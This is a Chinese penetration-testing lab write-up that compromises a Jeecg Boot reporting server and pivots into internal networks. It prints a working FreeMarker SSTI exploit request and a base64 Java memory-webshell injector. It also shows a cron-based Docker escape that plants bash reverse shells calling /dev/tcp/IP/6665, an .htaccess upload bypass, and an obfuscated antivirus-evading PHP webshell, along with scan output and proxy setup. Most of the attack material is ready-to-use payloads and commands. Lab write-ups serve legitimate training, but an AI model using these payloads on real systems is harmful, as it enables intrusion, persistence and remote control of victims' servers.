考察点
主机信息收集、Java代码审计、Java内存马注入、恶劣环境下的权限获取(不出网)、容器化信息收集、容器逃逸、蜜罐对抗、Webshell杀软对抗、多级代理域渗透等技术。
描述
"运维人员好懒,不想做前端,打算整一下刚来的几个实习生,于是发布任务:赶紧去做报表啊一群臭实习生"
拓扑图
信息收集
E:\Tool\fscan-gw - 0.1>fscan-gw.exe -h 10.10.0.3
start
start infoscan
10.10.0.3:22 open
10.10.0.3:18088 open
10.10.0.3:6379 open
10.10.0.3:3306 open
10.10.0.3:18080 open
3.0356503s
[*] alive ports len is: 5
start vulscan
[*] WebTitle http://10.10.0.3:18088 code:404 len:682 title:HTTP Status 404 – Not Found
[*] WebTitle http://10.10.0.3:18080 code:200 len:1120 title:DocToolkit
[+] mysql 10.10.0.3:3306:root root
[+] Redis 10.10.0.3:6379 unauthorized file:/data/dump.rdb
已完成 4/5 [-] ssh 10.10.0.3:22 ubunt ubunt#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 4/5 [-] ssh 10.10.0.3:22 ubunt ubunt_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 5/5
[*] 扫描结束,耗时: 1m16.8468932s
发现存在两个Web服务
优先去看Shiro,发现到爆破不出Key
就去看404,通过目录扫描可以扫到jeecg的路径
http://10.10.0.3:18088/jeecg-boot/
发现存在mysql的服务为弱口令,在里面找到jeecg的信息
发现是积木报表,找jeecg的nday来打
打点
Jeecg Boot
CVE-2023-4450:Jeecg Boot jmreport/loadTableData接口存在FreeMarker SSTI注入漏洞
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.10.0.3:18088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 100
{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami \") }' "}
发现成功RCE
使用pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool. (github.com)生成payload。
[>] AntSword Tomcat Listener BASE64
[+] 基础信息:
密码: Cslbewkahmg
请求路径: /*
请求头: Referer: Hftaa
脚本类型: JSP
[+] 结果输出:
yv66vgAAADEBewEAJW9yZy9zcHJpbmdmcmFtZXdvcmsvc3ovU2lnbmF0dXJlVXRpbHMHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAsb3JnLmFwYWNoZS5sb2dnaW5nLlNlcnZsZXRSZXF1ZXN0TGN5TGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BCoxINHNJQUFBQUFBQUFBSlZYK1hjVDF4WCtualh5eVBJUWdvZ05ncGF5aFVpeWJBVUN4TWlCWUJ1N2RpSUpnZ21wY2JxTXBiRWtrQ1ZuWm1Rd2FadDAzMHYzbHE3cGtycEwya0lLTW9SQ1NKdkNhVTdQYWZORC80bitBejM5b1UyL055UGJrbGQ2amozTGUvZCs3Nzd2ZnZlKzBWdi9mZTBXZ04yNEt4QXRtZG1ZUHFHbmMwYXNVTXBtODhWc2JNZ3dKd3VHZmR4NHJteFlkaUk5bGNoYnRsRTBUQlZDNFA3VCtxUWVLK2cwUERwNjJramJLandDTytYb3Vaamx1aTZFbVBQM0NqUStsaS9tN1VNQ25sRDRwSURTVzhvWUFtc1QrYUtSS28rUEd1WUpmYlRBa1VDaWxOWUxKM1V6TDk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
[+] 调试信息:
内存马类名: org.apache.logging.ServletRequestLcyListener
注入器类名: org.springframework.sz.SignatureUtils
内存马字节流长度: 4020
注入器字节流长度: 11140
将生成的base64格式的内存马 替换payload 中bytecodeBase64的值。
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}
构造poc
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.10.0.3:18088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 100
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='yv66vgAAADEBewEAJW9yZy9zcHJpbmdmcmFtZXdvcmsvc3ovU2lnbmF0dXJlVXRpbHMHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAsb3JnLmFwYWNoZS5sb2dnaW5nLlNlcnZsZXRSZXF1ZXN0TGN5TGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BCoxINHNJQUFBQUFBQUFBSlZYK1hjVDF4WCtualh5eVBJUWdvZ05ncGF5aFVpeWJBVUN4TWlCWUJ1N2RpSUpnZ21wY2JxTXBiRWtrQ1ZuWm1Rd2FadDAzMHYzbHE3cGtycEwya0lLTW9SQ1NKdkNhVTdQYWZORC80bitBejM5b1UyL055UGJrbGQ2amozTGUvZCs3Nzd2ZnZlKzBWdi9mZTBXZ04yNEt4QXRtZG1ZUHFHbmMwYXNVTXBtODhWc2JNZ3dKd3VHZmR4NHJteFlkaUk5bGNoYnRsRTBUQlZDNFA3VCtxUWVLK2cwUERwNjJramJLandDTytYb3Vaamx1aTZFbVBQM0NqUStsaS9tN1VNQ25sRDRwSURTVzhvWUFtc1QrYUtSS28rUEd1WUpmYlRBa1VDaWxOWUxKM1V6TDkrcmc0cWR5MXNDSFluL0ord3VEU3A4ZmlpNGorR2I3dndSL3B1bEtTTWpzQ3VVV0NuNnZrb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ACgBRgEEAAEABQAjAKcAqAACACIAAAAMAAEABQAjAKcBEAACACgAAAANAAP8AAUHAHxQBwFSCAALAAAABAABAVIAKABYAFkAAgAHAAAAQgAEAAIAAAAOKisDvQB8A70ABLgA7bAAAAACABkAAAAGAAEAAAC6ABoAAAAWAAIAAAAOAVwAHAAAAAAADgFdAQQAAQALAAAACAADAJwAmgCeACkAWADrAAIABwAAAhcAAwAJAAAAyirBAHyZAAoqwAB8pwAHKrYAejoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2AWs6BwM2CBUIGQe+ogAuGQcVCDK2AWwrtgFvmQAZGQcVCDK2AXO+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2ANE6Baf/qToHGQa2AVo6Bqf/nRkFxwAMuwCcWSu3AXS/GQUEtgDXKsEAfJkAGhkFAS22AN+wOge7AJVZGQe2AXe3AXi/GQUqLbYA37A6B7sAlVkZB7YBd7cBeL8AAwAlAHIAdQCcAJwAowCkAJoAswC6ALsAmgADABkAAABuABsAAAC+ABQAvwAXAMEAGwDCACUAxAApAMYAMADHADsAyABWAMkAXQDKAGAAxwBmAM0AaQDOAHIA0gB1ANAAdwDRAH4A0gCBANQAhgDVAI8A1wCVANgAnADaAKQA2wCmANwAswDgALsA4QC9AOIAGgAAAHoADAAzADMBAQECAAgAMAA2AV4BXwAHAHcABwBKAWAABwCmAA0ASgFhAAcAvQANAEoBYQAHAAAAygFFABwAAAAAAMoBXQEEAAEAAADKAWIBYwACAAAAygFkAOEAAwAUALYApwCoAAQAFwCzAWUApgAFABsArwFmAKgABgAoAAAALwAODkMHAHz+AAgHAHwHANMHAHz9ABcHAWcBLPkABQIIQgcAnAsNVAcAmg5HBwCaAAsAAAAIAAMAnACeAJoACAF5ABYAAQAHAAAAJQACAAAAAAAJuwACWbcBelexAAAAAQAZAAAACgACAAAAIQAIACIAAA==';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}
URL:http://10.10.0.3:18088/jeecg-boot/jmreport/queryFieldBySql
密码:Cslbewkahmg
请求信息:Referer: Hftaa
连接成功
shiro
在/home/ubuntu/.work/目录下找到源码
脱下来反编译发现了shiro的key
QZIysgMYhG7/CzIJlVpR1g==
蚁剑[Filter] 注入成功!
路径:http://10.10.0.3:18080/favicondemo.ico
密码:pass1024
docker逃逸
发现在docker环境中
进行信息收集
(root:/) $ df -h
Filesystem Size Used Available Use% Mounted on
overlay 195.4G 20.3G 165.1G 11% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/sda5 195.4G 20.3G 165.1G 11% /dev/tmp
udev 1.9G 0 1.9G 0% /dev/tmp/dev
tmpfs 1.9G 16.0K 1.9G 0% /dev/tmp/dev/shm
tmpfs 388.9M 2.3M 386.7M 1% /dev/tmp/run
tmpfs 5.0M 0 5.0M 0% /dev/tmp/run/lock
tmpfs 388.9M 48.0K 388.9M 0% /dev/tmp/run/user/1000
tmpfs 1.9G 0 1.9G 0% /dev/tmp/sys/fs/cgroup
/dev/loop3 128.0K 128.0K 0 100% /dev/tmp/snap/bare/5
/dev/loop7 91.8M 91.8M 0 100% /dev/tmp/snap/gtk-common-themes/1535
/dev/loop2 346.4M 346.4M 0 100% /dev/tmp/snap/gnome-3-38-2004/119
/dev/loop0 497.0M 497.0M 0 100% /dev/tmp/snap/gnome-42-2204/141
/dev/loop10 64.0M 64.0M 0 100% /dev/tmp/snap/core20/2318
/dev/loop1 65.3M 65.3M 0 100% /dev/tmp/snap/gtk-common-themes/1519
/dev/loop12 349.8M 349.8M 0 100% /dev/tmp/snap/gnome-3-38-2004/143
/dev/sda1 511.0M 4.0K 511.0M 0% /dev/tmp/boot/efi
/dev/loop13 74.3M 74.3M 0 100% /dev/tmp/snap/core22/1380
overlay 195.4G 20.3G 165.1G 11% /dev/tmp/var/lib/docker/overlay2/011f8a85fb5e0f79c8a6475fde6c75c24866c5af4a3236153472cb3638fc6f05/merged
overlay 195.4G 20.3G 165.1G 11% /dev/tmp/var/lib/docker/overlay2/011f8a85fb5e0f79c8a6475fde6c75c24866c5af4a3236153472cb3638fc6f05/merged
tmpfs 64.0M 0 64.0M 0% /dev/tmp/var/lib/docker/overlay2/011f8a85fb5e0f79c8a6475fde6c75c24866c5af4a3236153472cb3638fc6f05/merged/dev
shm 64.0M 0 64.0M 0% /dev/tmp/var/lib/docker/overlay2/011f8a85fb5e0f79c8a6475fde6c75c24866c5af4a3236153472cb3638fc6f05/merged/dev/shm
tmpfs 1.9G 0 1.9G 0% /dev/tmp/var/lib/docker/overlay2/011f8a85fb5e0f79c8a6475fde6c75c24866c5af4a3236153472cb3638fc6f05/merged/sys/fs/cgroup
/dev/sda5 195.4G 20.3G 165.1G 11% /etc/resolv.conf
/dev/sda5 195.4G 20.3G 165.1G 11% /etc/hostname
/dev/sda5 195.4G 20.3G 165.1G 11% /etc/hosts
tmpfs 1.9G 0 1.9G 0% /proc/acpi
tmpfs 64.0M 0 64.0M 0% /proc/kcore
tmpfs 64.0M 0 64.0M 0% /proc/keys
tmpfs 64.0M 0 64.0M 0% /proc/timer_list
tmpfs 1.9G 0 1.9G 0% /proc/scsi
tmpfs 1.9G 0 1.9G 0% /sys/firmware
tmpfs 1.9G 0 1.9G 0% /sys/devices/virtual/powercap
/dev/loop14 505.1M 505.1M 0 100% /dev/tmp/snap/gnome-42-2204/176
/dev/loop15 13.0M 13.0M 0 100% /dev/tmp/snap/snap-store/1113
tmpfs 388.9M 2.3M 386.7M 1% /dev/tmp/run/snapd/ns
/dev/loop11 38.9M 38.9M 0 100% /dev/tmp/snap/snapd/21759
overlay 195.4G 20.3G 165.1G 11% /dev/tmp/var/lib/docker/overlay2/3302e6f15a67ca9035d9e67a0f8c0c05125bf62c9c0d34c3577abe81d24dc9f2/merged
overlay 195.4G 20.3G 165.1G 11% /dev/tmp/var/lib/docker/overlay2/789a59da049aa09d4efa65125dad70e69a67c8b8603482b2be8a559d492308ca/merged
overlay 195.4G 20.3G 165.1G 11% /dev/tmp/var/lib/docker/overlay2/127a58ff10f994a92186385f3d70a85f7e7176ac811ebfcd5cf42e5c43302b44/merged
/dev/loop8 63.8M 63.8M 0 100% /dev/tmp/snap/core20/2434
/dev/loop16 73.9M 73.9M 0 100% /dev/tmp/snap/core22/1663
/dev/loop5 12.3M 12.3M 0 100% /dev/tmp/snap/snap-store/1216
/dev/loop4 44.4M 44.4M 0 100% /dev/tmp/snap/snapd/23258
存在挂载,挂载的是宿主机的目录/dev/tmp
挂载进行定时任务逃逸
touch /dev/tmp/tmp/test.sh
chmod 777 /dev/tmp/tmp/test.sh
cd /dev/tmp/tmp
#!/bin/bash
bash -i >& /dev/tcp/IP/6665 0>&1
bash -c 'bash -i &> /dev/tcp/IP/6665 0>&1'
sh -c 'bash -i &> /dev/tcp/IP/6665 0>&1'
sed -i '$a*/1 * * * * root bash /tmp/test.sh' /dev/tmp/etc/crontab
sed -i '$a*/1 * * * * root /tmp/test.sh' /dev/tmp/etc/crontab
cat /dev/tmp/etc/crontab
root@wty-virtual-machine:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:79:20:bd brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.80.50/24 brd 192.168.80.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe79:20bd/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:01:aa:f6:e8 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:1ff:feaa:f6e8/64 scope link
valid_lft forever preferred_lft forever
4: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:79:20:c7 brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 10.10.0.3/24 brd 10.10.0.255 scope global dynamic ens160
valid_lft 7181sec preferred_lft 7181sec
inet6 fe80::20c:29ff:fe79:20c7/64 scope link
valid_lft forever preferred_lft forever
5: br-a8cbb2f18fd5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:16:9f:7f:38 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-a8cbb2f18fd5
valid_lft forever preferred_lft forever
inet6 fe80::42:16ff:fe9f:7f38/64 scope link
valid_lft forever preferred_lft forever
8: br-5c4f24880ae8: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:03:7a:17:95 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5c4f24880ae8
valid_lft forever preferred_lft forever
inet6 fe80::42:3ff:fe7a:1795/64 scope link
valid_lft forever preferred_lft forever
24: veth1543d85@if23: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-a8cbb2f18fd5 state UP group default
link/ether 2a:7d:d1:ff:65:8f brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::287d:d1ff:feff:658f/64 scope link
valid_lft forever preferred_lft forever
25: br-2ed9e624a55e: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:4e:f0:45:e7 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/16 brd 172.20.255.255 scope global br-2ed9e624a55e
valid_lft forever preferred_lft forever
inet6 fe80::42:4eff:fef0:45e7/64 scope link
valid_lft forever preferred_lft forever
27: veth2a4ce86@if26: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-2ed9e624a55e state UP group default
link/ether da:7a:37:7f:80:1d brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::d87a:37ff:fe7f:801d/64 scope link
valid_lft forever preferred_lft forever
29: veth3d33d89@if28: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-2ed9e624a55e state UP group default
link/ether be:97:f5:f9:58:a6 brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::bc97:f5ff:fef9:58a6/64 scope link
valid_lft forever preferred_lft forever
131: vethee1b1e6@if130: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-2ed9e624a55e state UP group default
link/ether fa:3b:74:1e:5e:62 brd ff:ff:ff:ff:ff:ff link-netnsid 3
inet6 fe80::f83b:74ff:fe1e:5e62/64 scope link
valid_lft forever preferred_lft forever
root@wty-virtual-machine:~#
Stowaway挂第一层代理
VPS
./linux_x64_admin -l 9001 -s 123
目标机
./linux_x64_agent -c IP:9001 -s 123 --reconnect 8
第一层内网—信息收集
fscan扫一下80网段
192.168.80.50:6379 open
192.168.80.50:3306 open
192.168.80.55:445 open
192.168.80.55:139 open
192.168.80.55:135 open
192.168.80.55:80 open
192.168.80.50:22 open
192.168.80.50:18080 open
192.168.80.50:18088 open
[*] OsInfo 192.168.80.55 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] NetBios 192.168.80.55 WORKGROUP\WIN-P5VV23D2I7P Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] WebTitle http://192.168.80.55 code:200 len:11 title:None
[*] WebTitle http://192.168.80.50:18088 code:404 len:682 title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.80.50:18080 code:200 len:1120 title:DocToolkit
[+] mysql 192.168.80.50:3306:root root
[+] Redis 192.168.80.50:6379 unauthorized file:/data/dump.rdb
发现还有一个192.168.80.55主机开了80端口
再收集一下B段
[*] LiveTop 192.168.0.0/16 段存活数量为: 12
[*] LiveTop 192.168.10.0/24 段存活数量为: 6
[*] LiveTop 192.168.80.0/24 段存活数量为: 2
[*] LiveTop 192.168.30.0/24 段存活数量为: 1
[*] LiveTop 192.168.56.0/24 段存活数量为: 1
[*] LiveTop 192.168.198.0/24 段存活数量为: 1
[*] LiveTop 192.168.1.0/24 段存活数量为: 1
192.168.10.105:22 open
192.168.10.5:22 open
192.168.10.6:22 open
192.168.10.6:80 open
192.168.10.3:80 open
192.168.80.50:22 open
192.168.10.2:80 open
192.168.10.1:80 open
192.168.56.1:80 open
192.168.1.3:80 open
192.168.80.55:80 open
192.168.80.55:139 open
192.168.80.55:135 open
192.168.1.3:443 open
192.168.10.3:443 open
192.168.80.50:3306 open
192.168.80.55:445 open
192.168.10.2:443 open
192.168.10.1:443 open
192.168.56.1:443 open
192.168.10.5:8080 open
192.168.10.6:8000 open
192.168.80.50:6379 open
192.168.10.6:443 open
192.168.10.5:8090 open
192.168.10.5:8091 open
192.168.10.6:8300 open
192.168.10.6:9080 open
192.168.80.50:18088 open
192.168.80.50:18080 open
[*] WebTitle http://192.168.80.50:18088 code:404 len:682 title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.10.6 code:301 len:56 title:None 跳转url: https://192.168.10.6/
[*] WebTitle http://192.168.10.2 code:200 len:838 title:None
[*] WebTitle http://192.168.10.3 code:302 len:138 title:302 Found 跳转url: http://192.168.10.3/login
[*] WebTitle http://192.168.80.55 code:200 len:11 title:None
[*] WebTitle http://192.168.10.5:8090 code:404 len:232 title:404 Not Found
[*] NetBios 192.168.80.55 WORKGROUP\WIN-P5VV23D2I7P Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] OsInfo 192.168.80.55 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] WebTitle https://192.168.56.1 code:302 len:138 title:302 Found 跳转url: https://192.168.56.1/login
[*] WebTitle http://192.168.56.1 code:302 len:138 title:302 Found 跳转url: http://192.168.56.1/login
[*] WebTitle http://192.168.80.50:18080 code:200 len:1120 title:DocToolkit
[*] WebTitle https://192.168.10.2 code:200 len:838 title:None
[*] WebTitle http://192.168.10.5:8091 code:404 len:232 title:404 Not Found
[*] WebTitle http://192.168.10.3/login code:200 len:1720 title:""
[*] WebTitle https://192.168.1.3 code:302 len:215 title:None 跳转url: https://192.168.1.3/router_password_mobile.asp
[*] WebTitle https://192.168.10.6/ code:200 len:258 title:None
[*] WebTitle http://192.168.10.1 code:302 len:202 title:None 跳转url: http://192.168.10.1/userLogin.asp
[*] WebTitle https://192.168.10.1 code:302 len:203 title:None 跳转url: https://192.168.10.1/userLogin.asp
[*] WebTitle https://192.168.10.6 code:200 len:258 title:None
[*] WebTitle http://192.168.1.3 code:302 len:214 title:None 跳转url: http://192.168.1.3/router_password_mobile.asp
[*] WebTitle https://192.168.10.3 code:302 len:138 title:302 Found 跳转url: https://192.168.10.3/login
[*] WebTitle http://192.168.10.5:8080 code:200 len:2939 title:Xcheck
[*] WebTitle http://192.168.56.1/login code:200 len:1720 title:""
[*] WebTitle https://192.168.10.6:9080 code:200 len:0 title:None
[*] WebTitle https://192.168.56.1/login code:200 len:1720 title:""
[*] WebTitle https://192.168.10.1/userLogin.asp code:200 len:23715 title:ER3200G2系统管理
[*] WebTitle https://192.168.10.3/login code:200 len:1720 title:""
[*] WebTitle http://192.168.10.1/userLogin.asp code:200 len:23715 title:ER3200G2系统管理
[+] mysql 192.168.80.50:3306:root root
[*] WebTitle https://192.168.1.3/router_password_mobile.asp code:200 len:12072 title:H3C Magic RT3000 路由器登录
[*] WebTitle http://192.168.1.3/router_password_mobile.asp code:200 len:12072 title:H3C Magic RT3000 路由器登录
[+] InfoScan http://192.168.10.1/userLogin.asp [H3C公司产品]
[+] InfoScan https://192.168.10.1/userLogin.asp [H3C公司产品]
[+] Redis 192.168.80.50:6379 unauthorized file:/data/dump.rdb
Tscan挂上代理,扫描目录
漏洞利用
文件上传
虚拟机Proxifier所有流量走sock5代理,然后BurpSuite抓包。
文件上传可以大小写绕过,但是我不知道这里怎么传上去的,后面再试就不行了。
后面发现他只过滤几个危险文件,上传一个.htaccess
POST /up.php HTTP/1.1
Host: 192.168.80.55
Content-Length: 383
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.80.55
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVAb7YHVV1J7YaMvT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.80.55/web.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryVAb7YHVV1J7YaMvT
Content-Disposition: form-data; name="fileToUpload"; filename=".htaccess"
Content-Type: application/octet-stream
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryVAb7YHVV1J7YaMvT
Content-Disposition: form-data; name="submit"
上传文件
------WebKitFormBoundaryVAb7YHVV1J7YaMvT--
生成免杀马:https://github.com/ytMuCheng/ruoji
上传2.jpg
POST /up.php HTTP/1.1
Host: 192.168.80.55
Content-Length: 3571
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.80.55
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA4vRpKSqw7C9qz1z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.80.55/web.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryA4vRpKSqw7C9qz1z
Content-Disposition: form-data; name="fileToUpload"; filename="2.jpg"
Content-Type: image/jpg
<?php if ($_COOKIE['NnLoB'] == "aaa") {
$mqUvS='str_';
$bNMhD=$mqUvS.'replace';
$npNKy=substr($bNMhD,6);
$SitQv='zxcszxctzxcrzxc_zxcrzxcezxc';
if ($_GET['khJEN'] !== $_GET['xPztR'] && @md5($_GET['khJEN']) === @md5($_GET['xPztR'])){
$oVJRw = 'str_re';
$SitQv=substr_replace('zxc',$oVJRw,$SitQv);
}else{die();}
$npNKy=$SitQv.$npNKy;
$YGbDJ = $npNKy("m8zEa5WTpldCkXM6e70bsZIucSVJ49RyP1nLiYhKQjABqOrtoG", "", "str_m8zEa5WTpldCkXM6e70bsZIucSVJ49RyP1nLiYhKQjABqOrtoGreplm8zEa5WTpldCkXM6e70bsZIucSVJ49RyP1nLiYhKQjABqOrtoGacm8zEa5WTpldCkXM6e70bsZIucSVJ49RyP1nLiYhKQjABqOrtoGem8zEa5WTpldCkXM6e70bsZIucSVJ49RyP1nLiYhKQjABqOr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DZuApLCsK3WhriUzoeTXqvwJNQ4yIYREB5S7PHFf6GaMk9md1"));
@$fpqWo = $eBcEm;
@$$fpqWo = $bIkye;
@$XSYEf=$fpqWo.$$fpqWo;
@$lMGie=$XSYEf;
@$$lMGie=$DOyls;
@$WgEjN=$lMGie;
@$nXWVk=$$lMGie;
@$mfhOP = $KOksF('$kdhuQ,$wgrhc','return "$kdhuQ"."$wgrhc";');
@$EgWDK=$mfhOP($WgEjN,$nXWVk);
@$yGCOL = $KOksF("", $EgWDK);
@$yGCOL();
} ?>
------WebKitFormBoundaryA4vRpKSqw7C9qz1z
Content-Disposition: form-data; name="submit"
上传文件
------WebKitFormBoundaryA4vRpKSqw7C9qz1z--
连接成功
phpMyadmin
这里没爆出账号密码,不知道怎么利用。
第二层内网—信息收集
杀软信息
发现有火绒
这里就不能上传stowaway到Program Files目录,可以上传到ProgramData目录。
IP信息
C:\ProgramData> ipconfig
Windows IP 配置
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::a5e5:b3df:5241:dea9%18
IPv4 地址 . . . . . . . . . . . . : 192.168.81.22
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.81.1
